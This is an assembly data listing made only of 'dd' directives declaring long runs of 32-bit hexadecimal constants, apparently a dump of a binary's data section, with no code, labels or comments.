dd 0EB9232F1h, 5525CF0Fh, 0C32DCD23h, 0CB192885h, 979692ADh
dd 7035CC98h, 0D6700F2Ch, 0F334B027h, 0C84575Dh, 1919D249h
dd 393C9546h, 78C02785h, 0E08A2106h, 0E1269DD5h, 0CD77E462h
dd 63843D00h, 72E660ADh, 475B7CDEh, 0DA61744Dh, 7F780B93h
dd 5344563Ch, 0F7FE6583h, 2627A54h, 99181CD9h, 11D52AEDh
dd 77880833h, 4828DE8Eh, 853D3AA7h, 6D4A6E28h, 0FAD16B80h
dd 4E3C2EBFh, 0E187137Bh, 0C41FA494h, 250B8A78h, 72A33E04h
dd 0DF129BC1h, 34074C74h, 29D3CE7Dh, 0C7C02C99h, 0CC4C7D7Ch
dd 1919E42Bh, 70CD002Ah, 0ED72DC4Ch, 47B30797h, 5E09ED23h
dd 6235386Dh, 0B53F58EFh, 36367C20h, 61E1FC1Bh, 10D00A32h
dd 393006A4h, 0CEBE0EECh, 190F104Fh, 0AF5C183h, 2875D495h
dd 2CE61E36h, 0B2D534E3h, 35898B1Fh, 37421BC9h, 5FF8838Bh
dd 0A7E58787h, 0E603C6C4h, 83958908h, 5D366AD5h, 5743A88h
dd 22AA5600h, 0BBB5C120h, 0A68B08A1h, 0F9547E14h, 0CC69E622h
dd 65A082A9h, 4D222013h, 3EA1177h, 835A96EFh, 0FF00EA01h
dd 81BE0367h, 71D1EA3Ch, 3A967A5Eh, 0A2AA2458h, 0B53D268Ah
dd 27744D78h, 3E67D729h, 4FDFD273h, 2F0CDA98h, 8E3562E1h
dd 73AC398Dh, 1727B959h, 6457EB76h, 69CB4DB6h, 9F63898h
dd 0CA6AFD14h, 3230CDB9h, 7D7A7DE6h, 1C9DDFF8h, 4BE94535h
dd 0A97364DFh, 949D3EBDh, 8E7995E3h, 5F280A03h, 8695B604h
dd 2E9EF2E1h, 0D8B586CEh, 0CC7428C2h, 0DE566C47h, 421EBB9Dh
dd 0F22325C5h, 2AD7D969h, 0E0823F97h, 0DE42EF2Ah, 0C2143AE3h
dd 0B07DA648h, 80A8A908h, 66046A0Ch, 1E958EBAh, 14E63A29h
dd 0DE142A4h, 0ED085F89h, 0B909FB81h, 0E2937974h, 0E1F7EBA9h
dd 0FF6F5264h, 275FCCD2h, 7769CCD7h, 0C5D4F572h, 3AB7FAD9h
dd 2511A4FDh, 2F318CA6h, 2809A9C2h, 28597569h, 0AB7DCE55h
dd 0C7C36A2Eh, 6DA813FCh, 55262A7Dh, 0EA0C74EBh, 0E816C290h
dd 71F42A37h, 0EEBFC2B7h, 0C243202Ch, 891FB262h, 3C3BAF8Eh
dd 68AF180Fh, 804E6D4Eh, 0D1117614h, 0F8165262h, 454101D4h
dd 0D8D3BA32h, 0A9E12978h, 0E2C26BCAh, 24CAA166h, 59385E65h
dd 0FC8C361Ah, 89377F94h, 8F9323C4h, 0D5CBBE06h, 961CF33h
dd 9A0E64D9h, 3F001282h, 0D20FB581h, 29A2B53h, 881B8950h
dd 0B40C5FDh, 0C64714B3h, 0C73E3E0h, 7D693061h, 97A8D710h
dd 7A92C606h, 457BC4B2h, 3BC2DCA7h, 0C7268EFFh, 25D39BB0h
dd 554DD1B8h, 0E998A607h, 73FA354Dh, 2F73C1DDh, 21347B22h
dd 168A550Eh, 0C5F54D0Dh, 0D5643351h, 2235E7C3h, 0AA0F0BD2h
dd 0B3B36219h, 0FB020F0Bh, 0CEC80B19h, 5018B015h, 71E7B597h
dd 737AD759h, 3AE490EFh, 1F9A0F25h, 0C1C1EFC0h, 0B69A2C7Fh
dd 13B73784h, 0FD41EE09h, 6DBD9610h, 5F4C3F10h, 16749875h
dd 69386EF5h, 24A6A24Dh, 0C0227F93h, 29B39C67h, 0FDA29B61h
dd 0E0B54328h, 772822F9h, 90FCE488h, 1BF8D501h, 993BF376h
dd 0E37F2074h, 17BEB1FFh, 9F30BDECh, 651D882h, 697D0480h
dd 9FEA0CF4h, 7A3D83CDh, 3F60B31Ch, 24ACED69h, 0DC9751D8h
dd 580622F6h, 0DC6AC196h, 8706C68Fh, 0B5681905h, 0CBC2EC3Fh
dd 4AEDA94Fh, 0E824634Dh, 58CDF89Dh, 0A6D1972Bh, 0E5BD9807h
dd 20AB92B4h, 754BB75Ch, 0FABFB3Dh, 0E0904C2h, 0D1D79514h
dd 0C1A358ABh, 17CE09BCh, 695D1210h, 0D17B2FE9h, 6200C062h
dd 0C2D11176h, 70BAFFD6h
dd 980D6240h, 6F019875h, 684D689Ch, 0C2D98936h, 0A47BE406h
dd 0FA6C185Ah, 9624C185h, 43C6FA66h, 252C8C34h, 290EAF87h
dd 63312785h, 4C28997Bh, 8AF56B04h, 0AEA0150Bh, 0D4A7CA2Fh
dd 18E916F3h, 49CB2839h, 0D9C36E8Ch, 91E31DC3h, 0A64787FAh
dd 88E6777Ah, 0FA23629Ch, 44EED5E4h, 535DA23Bh, 529CCB8Eh
dd 9F47C5B1h, 0A7F1EDE3h, 0A171FF0h, 703C4018h, 6E3D4683h
dd 1676DD0Bh, 0F36F80AFh, 468FA232h, 0B5AA8921h, 7F9D9269h
dd 0F668D4A8h, 6F0A710h, 2D1AE7A3h, 0C08A21DFh, 0B24DE684h
dd 0E2CBF536h, 3997D72Dh, 0B0A5BAE7h, 37E53F15h, 0AC26FE70h
dd 72513B1Fh, 72C1F721h, 6AC43C0Ah, 338CBB64h, 5441BC8Ch
dd 7AA434B7h, 0CF32F525h, 0D40B9019h, 50761817h, 3DDA2E92h
dd 336FE65Ch, 373EE089h, 4A2F9BA5h, 8C71E1F9h, 346DAB9h
dd 6B16F30Ah, 75A96F0Ch, 0FBF00B7Eh, 52CA0FBEh, 0D8E84239h
dd 0B315FDF7h, 7D84AAC1h, 0B8CB70DAh, 0F2DA3FCBh, 8E74B995h
dd 0C44227AFh, 0F6FEBF6Bh, 0B57C7D69h, 3AA06866h, 6DC00A3Dh
dd 0E4FC1F14h, 4F50D865h, 0A7F180B9h, 35AC06Fh, 0F2DCBF99h
dd 23AC4552h, 64138CD0h, 27DFCB93h, 0D30373B6h, 8B8FF2E8h
dd 37C0A8D4h, 7DE4AB39h, 0A62F59A0h, 0AC628F0Fh, 0DDBC268Dh
dd 0CBC90D1Fh, 99C438EAh, 97C4723Dh, 1BDE27D8h, 542B3D4h
dd 93B9081Ah, 1A6674DEh, 7EEAFC1Fh, 7A1C91C7h, 8DD0BF24h
dd 7101699h, 61C92073h, 7DA8FFBDh, 39BB2155h, 0A84DEFDAh
dd 5ABF56FBh, 0C769CB23h, 6939AF9Bh, 8C54097Fh, 0FF16C108h
dd 7FD50477h, 452BE134h, 10536640h, 7376D590h, 0F4B0F457h
dd 543AAEF2h, 8E41C4FBh, 7164FEB3h, 0F1CB64E6h, 87E86181h
dd 0D7EC3BDEh, 0D488903Ah, 5FD51C9Ah, 8CEC96DBh, 4B7928Fh
dd 985C1DF9h, 2BE846F4h, 0C45914A0h, 43D28501h, 2BED3197h
dd 0C616E0A1h, 2EA713E4h, 0F8E4954Ch, 0CF6AA1D5h, 0EFC74404h
dd 0B5A53649h, 69A936ABh, 97C173E2h, 46498C33h, 0C2637FB3h
dd 0B590D8BAh, 4747C22Bh, 4BA796B8h, 237CD661h, 0C0B566Fh
dd 0B551A733h, 278A9FB5h, 76709505h, 2EA4AD6Bh, 8739A4C7h
dd 49A190F8h, 5FA8658Bh, 5FD8D76Bh, 0AD756DA6h, 72300F5Fh
dd 67FC7B34h, 5637C7E9h, 0A73B108Fh, 6634E183h, 9DA6613Eh
dd 3990A707h, 0CD3E01A7h, 31A316AAh, 0B80C5FB0h, 27201F55h
dd 603B6608h, 0DD781F86h, 2FB12B41h, 0F9DF2F31h, 8FE01E52h
dd 8584FBC1h, 0E5454852h, 0EC1EB79Dh, 0A9BDF32h, 0B2DFD2CCh
dd 38B27BA9h, 0A48945B7h, 469837C6h, 0BB4A647Ah, 846620BFh
dd 0F2BBF18Eh, 0C6D23243h, 8BE40DC0h, 57602166h, 0B18B91D1h
dd 6DCC62B0h, 26EE3C9Dh, 0AAA4DB7Bh, 0C2927374h, 5E2807C9h
dd 0C0C4B2B1h, 627A90B0h, 9A0F38F8h, 4143C2AFh, 3D4AC9ECh
dd 5067ECEBh, 0F1FF5509h, 0CC175FCAh, 46F50DBFh, 79AEDB0Ah
dd 0C9127850h, 1091F808h, 1018553Bh, 30B788A2h, 92843AC5h
dd 22FF2ED7h, 883994D9h, 4D9DE25Bh, 82AAE6B9h, 5E2475C3h
dd 6B60BC1h, 0F2A72051h, 0BE813015h, 0BA8CC762h, 0F3E7C6DAh
dd 934C09F5h, 37061781h, 93C526B5h, 6B4D1E8Eh, 1C8C554Fh
dd 0E4088FDCh, 8F2E21E2h, 42F783A6h, 1A903D9Bh, 86DCDBACh
dd 64E26BECh, 303B90BDh, 0ECB1401Fh, 0B9CE546Ch, 5CA4E9A4h
dd 7701E556h, 634B4448h, 0AA3E617Ch, 87473F12h, 0BEE7B88Ah
dd 7811885Fh, 0A7A9309Ah, 0BAF282A8h, 0F8895083h, 516767C9h
dd 0B07645B4h, 97641DF9h, 0CC475759h, 7C13222Bh, 0F48EB6A0h
dd 2FF4F8DAh, 4BF007A5h, 5A0AAEBBh, 0C38685C7h, 7F0AFABEh
dd 0D82007A2h, 99E80CA2h, 6109088Ah, 0D124BC95h, 0CCFA540h
dd 733B38BAh, 3635E9E4h, 90BA8403h, 47600E05h, 3B456FF0h
dd 13F9D163h, 3B99B13h, 831DB09Ch, 3E7F2641h, 0A643F45Dh
dd 4647D51Ah, 0EB512E18h, 27442BE2h, 0D5FD9D98h, 120BB361h
dd 0E26760D7h, 6CFF1BE2h, 0C87FB91Ah, 0A0D89A6Bh, 32969B0Bh
dd 83903014h, 4F1661CEh, 0B69EE313h, 9B414444h, 4D4389EAh
dd 835A3218h, 7DE70A2Eh, 4E27A761h, 0FF256283h, 183CFF3Fh
dd 8CA5C467h, 0F85C9B85h, 49B173B8h, 13421953h, 0ACA36417h
dd 6FD2FBDEh, 0DE13EB1Fh, 46D57E24h, 601B0821h, 0B29D8C05h
dd 0BF747ACBh, 50DC2053h, 72478BE3h, 0DB2B8696h, 0C6C6EE06h
dd 67B68D22h, 0D6537DC4h, 67F4A4B9h, 2E26CD27h, 945446CAh
dd 39D12D3Dh, 4915D328h, 97A5676Bh, 8A4D4DDDh, 0EF42CBBBh
dd 41D500E8h, 0F2C3C484h, 924F9DB5h, 5FD8259h, 0D3DB2DBBh
dd 21F8A3Ch, 8D89D4B2h, 8C5CED69h, 0C6A65762h, 50DAEE11h
dd 593B0EEBh, 286B8719h, 36CCC0Ch, 795A6877h, 5A0C8C3h
dd 0F9C28810h, 0B71CA71Dh, 13F0DFFh, 885AA1CCh, 37F07BDCh
dd 98962F55h, 5597526Bh, 33FD660h, 0CA3408FBh, 0E3C00ED4h
dd 659FCE74h, 0D181037Ch, 3BD9D417h, 0ADBC7507h, 0BCE040D4h
dd 85AA1262h, 727026D8h, 51724BF0h, 8391E0Ch, 1CF90683h
dd 2058C363h, 20C30798h, 0AC665B14h, 0E3847557h, 77ABC88Fh
dd 0FC54677h, 24C39EBDh, 85882700h, 3070B9F6h, 0AA68E9B2h
dd 6E073B68h, 70051DE8h, 810A6E3Fh, 0E674C879h, 0A0CFC09Bh
dd 0AEBBF43Dh, 216872BFh, 0CE808595h, 0D1D9858Eh, 69F36B4Bh
dd 60A5D37h, 6F79200Ch, 1899130h, 0E5427586h, 34486D5h
dd 52092002h, 79363C02h, 0EFAAF6ACh, 15A3B4DAh, 0FF27A6Ah
dd 0D804CE33h, 4DE86157h, 54048728h, 38502F51h, 8D998A27h
dd 0A983B221h, 0F7D3F193h, 87222585h, 13AC5CE8h, 6DDA3C14h
dd 0CC9F773Bh, 9FFD0C0Bh, 0A610A590h, 9F1DA95Fh, 99AB80A4h
dd 0AE32EA1h, 692D83E7h, 8FAB885Ah, 0F97F35BFh, 0C0BBE7A7h
dd 0E7A0E935h, 0FF19F7A4h, 5307A618h, 0B8B19C58h, 183E598Fh
dd 334672ECh, 0C332828Dh, 90648781h, 3FF9387Dh, 0B0139EACh
dd 206845CBh, 8AEE2E43h, 0DFF5CC01h, 123A9176h, 76533F65h
dd 0F104F252h, 0E8E319D4h, 408756A5h, 71C0FC52h, 310CBAF4h
dd 8C4045E5h, 72762355h, 0F6E91DB6h, 55D6D8CEh, 595EB42Dh
dd 9D8F43E9h, 384AC7C9h, 669D280Fh, 0F2EED779h, 78854C8Bh
dd 0F227CBE8h, 9963B9E7h, 67CA8543h, 0FAAECCC9h, 0F5D0FE4Bh
dd 6970C9EEh, 481046B8h, 86A62E5h, 1DBD316Bh, 7387B316h
dd 0FCB7AE59h, 0C49CB8A8h, 1C5D642h, 0CEF2CCD8h, 2BA8DD2Eh
dd 5694531Bh, 2CD72886h, 4F6DC72h, 6057E539h, 5043D85Ah
dd 9D389216h, 92A9914Ch, 0D7199FBAh, 5405C6A7h, 5F0609EAh
dd 7D34ACC3h, 3BB05D08h, 0C073E420h, 6C3E906Eh, 0E4D16BE6h
dd 9780FE03h, 88199D32h, 0A11DDA67h, 0A9275D4Eh, 0FA6ABDB3h
dd 0E4F6625Ch, 0CD8F9BB3h, 35BC668Dh, 0EF8C495h, 264F155Dh
dd 583D4ED4h, 403551D8h, 58FBAEDEh, 0F4D125BCh, 0F690768h
dd 0B298C198h, 0F106657Eh, 3A9BF396h, 8DFE8765h, 9AC8E2A8h
dd 3305B9A8h, 0A8BE6CB5h, 0C7600967h, 0E8562D35h, 1E231A71h
dd 1A9BFE3Dh, 0A7119358h, 70541662h, 44FF3F76h, 305014D1h
dd 5D56C464h, 8AC07705h, 0BE18D6DCh, 25973BF6h, 66583C90h
dd 0D93484FAh, 31693C17h, 40ADFB1Dh, 447C948Eh, 0F73A2E4Bh
dd 2838217Bh, 0AA84D38Ch, 38581CA8h, 39F758Bh, 0ED58DF90h
dd 6346263Fh, 3C68EEFFh, 62368ED0h, 0C9FE64E5h, 0AD77107Fh
dd 9CD71BA8h, 0A965C149h, 4B18E9FFh, 7A7A8D8Ah, 0A1E9147Ah
dd 968B7794h, 0C6F0CF63h
dd 5B458C94h, 0CAAC4FF0h, 73AB49EDh, 2A44625h, 0A1475604h
dd 0B7F4F848h, 5DB71BB0h, 0B504005Bh, 0EAA2F41h, 1C4FAB9Eh
dd 0F7EB7AC3h, 5781DE5Ch, 4E1CBF98h, 0F2CA5DF3h, 648098Ch
dd 597B4334h, 3DCADF8Fh, 0C9EA121Dh, 0A8787F01h, 79B714CCh
dd 703D99FFh, 44A4CA94h, 9A2D6E19h, 0CC9D25DCh, 0C0564078h
dd 0D8803122h, 0C8099AAh, 562CF3F0h, 14B186D7h, 6A38E9C3h
dd 0FC203D7h, 37CDD221h, 0C8B8E4D6h, 0E192A0D1h, 0CED1F7F6h
dd 2BE7E961h, 4F562DDDh, 43DEEB97h, 1F8DFDF5h, 92650125h
dd 0B1B5AA1Ah, 8E94750Bh, 321CB2FDh, 6E783B62h, 0AF7C9B0Ch
dd 0E8D15281h, 1A2C5633h, 0EDBF6798h, 0C2167B56h, 249CDDC9h
dd 52D4F032h, 8C38555Ch, 2F9F5223h, 6DC696B3h, 2A82126h
dd 1C0972B4h, 0B99ADCD3h, 3309290Fh, 0FCE60D6Eh, 6A6DD68Dh
dd 190D08B1h, 0BB80CAEBh, 63904E8Ah, 95EEA40Eh, 0F3BC2331h
dd 71FB0A8Ch, 4BEAD352h, 9D207267h, 0E2158DA4h, 0E33C5D24h
dd 9862717Fh, 900E574Dh, 658A844Ch, 2807064Dh, 4760C654h
dd 4FB70E3Dh, 242DB7B3h, 57A7CBEh, 10F362E8h, 3E698D65h
dd 1EE03BE8h, 75904502h, 429D4AF9h, 0DA9C26A4h, 278F2492h
dd 52FFB67Fh, 0C3012DC7h, 5D0D3C9Fh, 82225755h, 0CDA1B68Dh
dd 3632BADh, 774A83A7h, 0C6849ACFh, 825E393Dh, 0D92442BEh
dd 6FDC86E1h, 9986E516h, 0B33309E7h, 0D625A155h, 0EF82CF2Ah
dd 0FD8CBC21h, 7B292541h, 7D7DF067h, 0A0D860E6h, 24BB97DEh
dd 4B7733DDh, 69DFAA41h, 2854E8FDh, 0AFA579E2h, 9C5518B9h
dd 0CEB43F85h, 11F3F38Ah, 66E357CEh, 0A6DE2F22h, 0C741D49Eh
dd 0F0108B13h, 283E63AFh, 0C52A86D2h, 0E34BF055h, 0D9CD7930h
dd 97007B3Dh, 11B6AE17h, 218ED71Fh, 56131878h, 5B87D74Dh
dd 0E6362B50h, 47801856h, 624E8086h, 0AE83A8CDh, 63DD3039h
dd 632762C8h, 0AB878EA5h, 6461458Dh, 0C6793C8Eh, 0BC5A8754h
dd 0F283A657h, 0DA8B0B92h, 5FBE9F9Ah, 36ACD43Ah, 9338E07Fh
dd 987A2546h, 5E0A4A35h, 9A940AABh, 339AD2E6h, 3FEEBE94h
dd 90ECA0CCh, 957FE30Eh, 9F832D73h, 182E4A8Ch, 5264F818h
dd 418BF1C7h, 0E28FAC2Eh, 0EDE438DEh, 0C9C72732h, 0A947F837h
dd 1AC5A830h, 7D2DBC19h, 0F21BB39Eh, 774ACE4Ah, 0AC2647D0h
dd 0DB94FB45h, 44ADEAE3h, 0B3BD277Bh, 890A3B47h, 0D8EF022Dh
dd 3A5D85h, 887D3E4Bh, 36080015h, 1CAFAF7Eh, 0AAE731F9h
dd 684D04C8h, 64CE8127h, 0B5516B9Eh, 0F6D0B4B4h, 8BA4F607h
dd 0BE9E1F96h, 0F008842Ah, 0E2DF5369h, 9B07DB55h, 6C1AD20Dh
dd 0E9B3B900h, 49687EEh, 0A40D6696h, 0AF4C76DEh, 0B1C91624h
dd 0C55CD6B9h, 2A11A3DCh, 74A2C706h, 0FC3C30DDh, 1AB10F20h
dd 43AF7EEDh, 0EB753540h, 7A76FF7Ch, 1C59908Ah, 1C8BB1A1h
dd 0CE047058h, 8A5DD9E6h, 0B776D9EAh, 85C4C20Fh, 0BB8877C1h
dd 8276592Eh, 0EBD2946Ch, 87BA00CAh, 35EE54E2h, 8B065368h
dd 1DACC7B4h, 24ADA5B3h, 7BDDE553h, 0C3217B16h, 0E90ACB0Fh
dd 51CC446h, 0D0EBF8BCh, 3779639Dh, 399D7F1Bh, 5F100A90h
dd 74E73D25h, 1771BA79h, 89D1E95Ch, 0B5C8DBD0h, 0BACAA32Dh
dd 426D5E2Ch, 0AC38320h, 0B64AB6DEh, 0B967444Bh, 0B3E646C6h
dd 87A65E97h, 6E3A4CF6h, 0BDB95582h, 0E03A5A5Eh, 0A7DACED0h
dd 9AC3E84Eh, 472281AAh, 33DEB3A1h, 884EEBA5h, 0ED1E4A8Dh
dd 4B29E25Eh, 210B5E7Dh, 5F19BC50h, 7665323Bh, 742EFB10h
dd 0FF2C433Ah, 0C6C099FAh, 0C4FCC6B0h, 0FC1BE8C1h, 8054F518h
dd 531233C3h, 93360C35h, 0DC75AFF8h, 959DF4Bh, 40B94A26h
dd 33A21D5h, 5C51B0CCh, 0F79DA333h, 85725D3Ah, 337B9018h
dd 9FADA91Fh, 44999D6Eh, 24482361h, 9D2F2410h, 67879C21h
dd 0DB502236h, 0BD347E9Dh, 6E623104h, 27EF40FDh, 202189C2h
dd 0DA24D3ACh, 0D32E4AA3h, 5036A3E4h, 45D81B47h, 5F7DAEC3h
dd 0BFB911FFh, 74CA67A6h, 0FE54B5BEh, 53C2F682h, 4D835E19h
dd 0A7E31697h, 98217183h, 51C21891h, 3087734Ch, 0F0765500h
dd 0C89A38A4h, 0A6C8009Ah, 91FA11E7h, 0C1B96E10h, 0D9497831h
dd 301213BDh, 0B674C5A4h, 0C11B8D1h, 5846AA2Dh, 7245EE80h
dd 0A53078CCh, 0EC45821Bh, 0E544A4B2h, 1F12E24Eh, 0EC28980Ah
dd 0EFB41368h, 0DEA7BB8Eh, 28FA993Ah, 6F361337h, 0D6E595BEh
dd 7180295h, 6BB58A36h, 373588D1h, 0CDF239Bh, 4E7966CEh
dd 9B41EBD8h, 0EAB632A9h, 91BF9E64h, 3C1EF6D8h, 0F8AD8272h
dd 8E48FB9Ah, 82E89414h, 0E9ABB326h, 0DE6635CAh, 5C75F95Eh
dd 2D6CFF2Dh, 0D8DD27D5h, 99B274BDh, 5A450175h, 8B18C1F9h
dd 4D9070AFh, 0A2899BDAh, 251FF295h, 51F86948h, 0CC437ECAh
dd 4A247F03h, 7C77D0F7h, 0D0272C7h, 0A9A9BFEDh, 0A4B29D5Ch
dd 0E42F0B9Fh, 0F33A0Ch, 37CEB990h, 0DDA1B486h, 0E9012589h
dd 7D7B140Eh, 51FFCAEDh, 0B164847Eh, 2594C2D4h, 8EF2173Ch
dd 0B51C10EBh, 990150ECh, 0A1F33A68h, 68E5BACCh, 0EFA1FC44h
dd 1806F2F3h, 1202401Bh, 5E5080BDh, 0EF2AACD9h, 0BAB56D2Ch
dd 28528AD7h, 0CD4DBEF0h, 8728998Ah, 0ADABC058h, 0B128D03Bh
dd 7D7901FBh, 0C5C03434h, 0CB0138C0h, 0F422DBECh, 9B1CFB37h
dd 0CEA528D9h, 7F310BFCh, 1D93ED7Fh, 0E704BEE1h, 0CB274373h
dd 8F5150C2h, 0C935459h, 0EDA92CABh, 0D22C79DDh, 7EA3225Bh
dd 0A5E97181h, 8E14BFE5h, 8BB88F55h, 5F82B30h, 8E3FF9B1h
dd 78764292h, 3D9D2003h, 0DC5A4538h, 5DD25BC4h, 23D4A7Ch
dd 0B8D73D3Ch, 9CAE85DDh, 8654363Dh, 81393B17h, 44E329F2h
dd 7658E5D7h, 0CAC0F4B6h, 0EA57586Ah, 248DB065h, 149FD517h
dd 9798B16h, 0E5CBF4FBh, 280C26DDh, 89BFD1A6h, 956A7B3Bh
dd 0E14D2BAEh, 36E19ADBh, 5CDABACh, 43790B85h, 3EA29C12h
dd 87D7451Ch, 0D36AB859h, 0B4245FECh, 0A0C6A18Ch, 0D4CC2A53h
dd 78215338h, 0FB3E4DE2h, 2A2A4DC0h, 0D174F16Ah, 41B87975h
dd 2E4067DEh, 9B1E095h, 20043E5Dh, 0C4A314E5h, 563BDEBh
dd 0B034DD82h, 75648082h, 3E6F09AAh, 0A9A52E65h, 2477765Fh
dd 0C86FD5Fh, 664CD0CAh, 84FF0031h, 0BCBE5B96h, 8F2E30E4h
dd 23F53C4Eh, 951C3DAEh, 6B7AA4C9h, 0EDDC2FDBh, 0EAE82042h
dd 5C6A1995h, 0CBACCD5Ch, 0AF6AEAC7h, 87FD4FEh, 0EBB1167Eh
dd 0A39DA06Fh, 0D9A0229Ah, 0FB3D07E4h, 0CA211BABh, 0FDE99CA2h
dd 2302C3BFh, 3617B1DBh, 0BA192E32h, 3FC9C018h, 68C75A68h
dd 246927B9h, 238C3146h, 4DC384Dh, 0BD2314Dh, 0DC5B655Eh
dd 0F9F7F800h, 70D853F5h, 0E2A9ACB7h, 5AC4153Ah, 5AF103C3h
dd 0D638A2A8h, 493BA75Fh, 7B51A18Eh, 63742159h, 8DB88982h
dd 34C506D1h, 0F7B9909Ah, 5A5F4046h, 0F7E12065h, 1E26E7D1h
dd 0C9CFDDE4h, 88C26C32h, 0E001820Ch, 97072F87h, 9FBA1005h
dd 383C5455h, 0B3E95D48h, 0D4F7877Dh, 0CC3743C5h, 7C70D15Ch
dd 88A5CBF3h, 12C61294h, 0CAD5DF18h, 40DA4D50h, 0E94D6140h
dd 0A4C9EFDCh, 37A0E9CCh, 0F66F2352h, 1FB8DD41h, 0C0072A2Fh
dd 708F21E5h, 0C8D7EF40h, 0C2C15CC8h, 0A64A0891h, 24013C8Bh
dd 46101C70h, 0BB479E00h, 0EE2297A7h, 9910A5B6h, 0E4410A4Fh
dd 0F6DBBC80h, 3531639h, 0B7A529DEh, 63B414A6h, 9AABB37Ch
dd 41C0471Bh, 0CD41E7F2h, 6251A104h, 446F7E42h, 2E3F7FBCh
dd 1DF10655h, 0A1E91243h, 0A48AE57Eh, 4059BD3Fh, 0BAA438Eh
dd 0F209ABC2h, 54554BECh
dd 91E88FDAh, 5A5400E7h, 0A26FA8B1h, 4CFA4C22h, 7C86E5A1h
dd 7786185h, 2D27E1BDh, 0EAB05C2Eh, 2F976C0Bh, 8977DF1Ah
dd 843F1222h, 0AF634F29h, 0F65A1ECBh, 1F71F7E1h, 0DAF2322Ch
dd 958FD428h, 90DFE876h, 5C69BF6Ah, 0E8C9719Fh, 0B2BDACD9h
dd 0FF5A3B19h, 80CAAA8h, 8DE9BAA9h, 0A7B62924h, 0EC83E799h
dd 75C2C9B6h, 0C81D546h, 6A9E1F3Ah, 6C2A4032h, 0A676AC9h
dd 0E8DF0A61h, 964B5B89h, 7370943h, 7B8E6BD1h, 0DAE72944h
dd 0FC9D3026h, 712CB7E0h, 0AB89824h, 475A30ABh, 221F8475h
dd 1E1F7846h, 0F7D31862h, 99E6040Eh, 104C25BCh, 5EBF407Bh
dd 9BEE7D05h, 460FA228h, 2DED3CE9h, 0D4613173h, 2A405897h
dd 0FE7B07E1h, 0E4E3E4CDh, 0B9A2331Eh, 39E144B8h, 66611BCAh
dd 1559BA3Ch, 65FF2202h, 0A5B4EDA6h, 5016DDBh, 0DA71E0FBh
dd 21D23541h, 0C8743A99h, 1A9014Ah, 50599BDh, 97DD3CB3h
dd 0D86E363h, 82B00945h, 0FD97E4FBh, 303DEF58h, 0F3B8F0D3h
dd 97DA8D7Ah, 94B73792h, 0E3A6BA69h, 3C9B7842h, 855B533Bh
dd 0E9E1AF25h, 8F7BE01Bh, 0D3579CD7h, 0B8BA6FE3h, 120681A4h
dd 7335B7E2h, 9466F5F1h, 1D193B8Fh, 3B28C124h, 283FCD9Ch
dd 4A0FB467h, 0DAE2022Dh, 0C73074ADh, 0C31B6B8Eh, 0EBB52960h
dd 70D07CADh, 0FA8C2347h, 7D0B360Bh, 0C4B14B09h, 7FF3DAA7h
dd 0BD6F4A00h, 8A7F4A24h, 0CA6E264Ah, 0B56BAE8h, 574EAE57h
dd 1DEA670Ch, 5724876Ch, 957E34A4h, 66E65752h, 5D5C6693h
dd 74067B6Ch, 0F5CB68A6h, 966F4C34h, 72D951DBh, 1C14D68Eh
dd 972C5F65h, 10F05256h, 11CBEF16h, 5C011AF0h, 9005DB47h
dd 455879C4h, 3548E11Ch, 3A357ADh, 9DD9A2E1h, 13EB50E9h
dd 0D7E7DABDh, 944A42B6h, 0C07998BCh, 2E9687A3h, 5A9F6EA3h
dd 157DFA14h, 5CE7651Ch, 0CC7DAD17h, 8BEC51E7h, 0E029AC0Bh
dd 0C4423E84h, 4DC67459h, 0DFE4FC24h, 6F6F9634h, 6C443C7Eh
dd 387E2DBFh, 2A27D304h, 5739914Ch, 156176D1h, 5170A2D6h
dd 270DC4C8h, 0E87D2462h, 0DA2B7488h, 1E59B4Dh, 8070B7AAh
dd 0F6F451D2h, 0DC187F3Fh, 105535F2h, 0E5894CF5h, 682DDA93h
dd 0F034C682h, 0A264D6FCh, 0FBC9DFBFh, 5B4EB7F4h, 35290BDh
dd 0D920F823h, 4DE97ABAh, 0C128DCE9h, 335BE94Ah, 0EA466CB0h
dd 1A4CA1C1h, 793F7438h, 46EE25CAh, 831019D9h, 0E7732FAEh
dd 127A1DDAh, 1457BD43h, 9A8EA3BEh, 0B78B287Eh, 21B2B35Fh
dd 0D02E6EB9h, 0D960C50Fh, 0DB93BDD9h, 83336DFEh, 0AD6AD1E2h
dd 40F498D6h, 9676A836h, 4BBE2824h, 56732313h, 5DB119A7h
dd 8C0FB1D4h, 0C76093BBh, 0FFEA488Bh, 54F264CAh, 326548B9h
dd 9D68327Fh, 0D68FFD1Dh, 0AAAB716Bh, 0A50B2521h, 2D6EA23h
dd 0A67ACF54h, 0D3730843h, 1201D2EFh, 0FD237F7Ah, 0BF47B247h
dd 0B4C59388h, 52176342h, 5429E4A1h, 0AC18336Eh, 1DB8761Ch
dd 0D8D32277h, 465FABB5h, 33C19CEBh, 0B558EC33h, 11C6694Fh
dd 0F4826CCFh, 0F15C0659h, 0BD026554h, 30A8E915h, 1CC21506h
dd 9A02F8F8h, 57164A3Ch, 0E89DC00Ah, 9B9A6596h, 0C7DFBB37h
dd 1F247938h, 0E43BEB02h, 2BFB5FD0h, 354D7E32h, 2CC0E917h
dd 11F5604Ah, 6B11638Bh, 5189B429h, 0B7635517h, 61F16EFDh
dd 7B231F7Fh, 0B8C3A129h, 1327614Ah, 9EFCC1DFh, 51F48D56h
dd 0E1438CD5h, 3934389Fh, 0CDA65FDFh, 0F6BF9DEFh, 0C37724A7h
dd 288A88DDh, 0A35C4E19h, 0A28D1232h, 0EFB28B3Bh, 82465C70h
dd 6E3B1D22h, 0D4001F86h, 2AC8E242h, 4692BB40h, 0C4FFD70Eh
dd 0C773D431h, 0E86471A8h, 133DC6F8h, 44E757A9h, 2C788D8Ch
dd 6D4EA7B9h, 0EC791FE3h, 3BE3F1D9h, 6EC19E68h, 1A97DA3Dh
dd 70DD75B9h, 93B66B66h, 0BBF4710Eh, 40678DD8h, 6E42BA78h
dd 0B5EBBB86h, 0EF9382B2h, 0E52AA1E9h, 5B593DEh, 0BBAC520Dh
dd 0BABF9B6Ch, 0B05B9393h, 1E9ADF15h, 4738ED0Ah, 34A774C8h
dd 7995FF07h, 0DBCDA4BFh, 4E7E04F6h, 0C8A19CCEh, 0C41D2650h
dd 2A784495h, 1AA8BEEAh, 21A75EE7h, 306D3B57h, 7852D9AFh
dd 54DE6B3Ch, 7DA041AAh, 1F4A9A36h, 513B70F0h, 0AFD11180h
dd 0A31E075Dh, 719448F2h, 568C098Eh, 0A6C8FC4Eh, 0FCF12165h
dd 3476B1EDh, 0A95F385Ah, 0D4128219h, 3AB8FC20h, 0BF66A881h
